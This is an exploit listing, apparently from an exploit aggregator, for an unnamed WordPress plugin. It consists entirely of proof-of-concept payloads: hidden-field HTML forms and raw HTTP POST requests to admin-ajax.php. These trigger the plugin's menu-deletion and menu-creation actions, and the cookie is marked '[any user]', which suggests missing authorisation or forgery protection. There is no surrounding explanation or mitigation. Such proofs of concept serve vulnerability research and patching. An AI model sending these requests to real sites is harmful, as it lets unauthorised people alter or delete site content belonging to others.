Share
## https://sploitus.com/exploit?id=WPEX-ID:9146B003-6767-42E1-AE59-BBEF4E8F9639
- To delete a menu:
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="my_action_delete_menu" />
<input type="hidden" name="delete_menu_id" value="17" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: [any user]
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
action=my_action_delete_menu&delete_menu_id=17
- To create a new menu:
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="my_action_create_menu_ajax" />
<input type="hidden" name="new_menu_name" value="Test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 52
Connection: close
Cookie: [any user]
action=my_action_create_menu_ajax&new_menu_name=Test